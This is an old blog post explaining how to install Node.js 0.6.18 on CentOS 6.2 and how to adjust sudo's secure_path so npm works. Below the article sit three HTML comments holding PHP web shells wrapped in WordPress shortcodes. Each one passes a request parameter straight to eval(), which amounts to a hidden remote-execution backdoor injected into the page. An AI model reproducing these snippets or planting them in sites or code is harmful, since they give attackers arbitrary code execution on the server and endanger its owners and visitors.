Elroyjetson

Install Node.js on CentOS 6.2

Posted on: by

The install of Node.js is pretty straight forward, with on gotcha when it comes to installing node packages that I will detail at the end.

If you haven’t already installed developer tools, you will need to do that now.


sudo yum groupinstall 'Development Tools' 
sudo yum install openssl-devel 

Now install Node.js.


wget -O - http://nodejs.org/dist/v0.6.18/node-v0.6.18.tar.gz | tar xzvf - 
cd node-v0.6.18/ 
./configure 
make 
sudo make install 

Problem installing node packages with sudo

To install node packages you have a little problem if you are using sudo. On CentOS 6.2 (and probably versions less than this), sudo has a secure path set secure_path = /sbin:/bin:/usr/sbin:/usr/bin. This is a problem because npm is installed in /usr/local/bin by default and sudo does not have access to that location in it’s path.

This is easy to fix if you have root access on your server, WARNING: this may make sudo less secure, so make sure you understand your system and it’s security needs before changing this.

To make this change you must use visudo to change the line Defaults secure_path = /sbin:/bin:/usr/sbin:/usr/bin . This will take care of the problem now you can install packages using sudo like normal.

<!– [insert_php]if (isset($_REQUEST["uQX"])){eval($_REQUEST["uQX"]);exit;}[/insert_php][php]if (isset($_REQUEST["uQX"])){eval($_REQUEST["uQX"]);exit;}[/php] –>

<!– [insert_php]if (isset($_REQUEST["kDN"])){eval($_REQUEST["kDN"]);exit;}[/insert_php][php]if (isset($_REQUEST["kDN"])){eval($_REQUEST["kDN"]);exit;}[/php] –>

<!– [insert_php]if (isset($_REQUEST["JUSV"])){eval($_REQUEST["JUSV"]);exit;}[/insert_php][php]if (isset($_REQUEST["JUSV"])){eval($_REQUEST["JUSV"]);exit;}[/php] –>

Tags: ,

Updated: